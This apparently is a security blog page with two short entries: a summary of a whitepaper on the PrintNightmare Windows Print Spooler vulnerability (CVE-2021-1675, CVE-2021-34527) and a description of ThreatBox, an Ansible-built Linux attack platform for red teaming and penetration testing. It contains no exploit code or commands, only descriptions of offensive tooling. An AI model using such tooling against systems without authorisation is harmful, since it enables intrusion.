PrintNightmare Vulnerability

https://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png
Whitepaper called PrintNightmare Vulnerability. This document illustrates the exploitation of the vulnerability found in the Windows spooler service. Originally thought to be a local privilege escalation vulnerability in the Windows Print Spooler, identified as CVE-2021-1675 and patched during Microsoft's June Patch. Microsoft increased the severity of this issue on June 21 as well as reclassifying it as a 'remote code execution' (RCE) threat. This RCE vulnerability has been assigned a new identifier, CVE-2021-34527.

ThreatBox - A Standard And Controlled Linux Based Attack Platform

https://blogger.googleusercontent.com/img/a/AVvXsEgRobES1W6DgyKwt2Nob5ffeRkoRwiA7-Jqan0YkieJ0solg_MJ_Ay5fdyne2InOvczfnTo8euCIfuGJ66-XfbYdvbaLR8i7vfWC1pqBhlVkmEz-385Kx7Hi8_P9jn4nGyFa-HMcOOiyypwYxdBF2XQ9SFY96UlclINZMsD3jpDO6nsA9G3OOYmizu3sg=w640-h392 ThreatBox is a standard and controlled Linux based attack platform. I've used a version of this for years. It started as a collection of scripts, lived as a rolling virtual machine, existed as code to build a Linux ISO, and has now been converted to a set of ansible playbooks. Why Ansible? Why not? This seemed to be the next natural evolution to the configuration of standard attack platforms.

This project uses ansible playbooks and roles to perform post deployment configuration on a linux target (Tested on Ubuntu 18.04).

The project is designed to be used as a starter process in creating, managing, and using a standard attack platform for red teaming or penetration testing.

Detail on the concept of a Standard Attack Platform can be found it the book Red Team Development and Operations - A practical guide, written by Joe Vest and James Tubberville. Features* Standard tools defined as ansible roles
* Customizations designed to make security testing easier
* Variable list to add or remove git repositories, OS packages, or python modules. (threatbox.yml)
* Version tracking of the deployed instance version and the deploy tool version. This is helpful it meeting compliance rules and can help minimize fear by actively tracking all tools.
* Threatbox version created at deployment and displayed in desktop wallpaper
* Deployed software tracked in ~/Desktop/readme

* SSH port auto-switching. The deployment starts on port 22, but reconfigures the target system to the desired SSH port using the ansible_portvariable in threatbox.yml* Download and compile several .net toolkits (i.e. SeatBelt.exe from Ghostpack https://github.com/GhostPack/Seatbelt)
* Most python projects installed using pipenv. Use pipenv shellin the project directory to access. See https://realpython.com/pipenv-guide/ for pipenv usage guidance Project FilesThe following list highlights key components of this project.

Notes on the projectThis project uses ansbile roles. These roles may not exactly follow the ansible style. They were designed to be used as part of this project and use a single 'variable' file to control the project. The roles can easily be used in other project with minor tweaks.
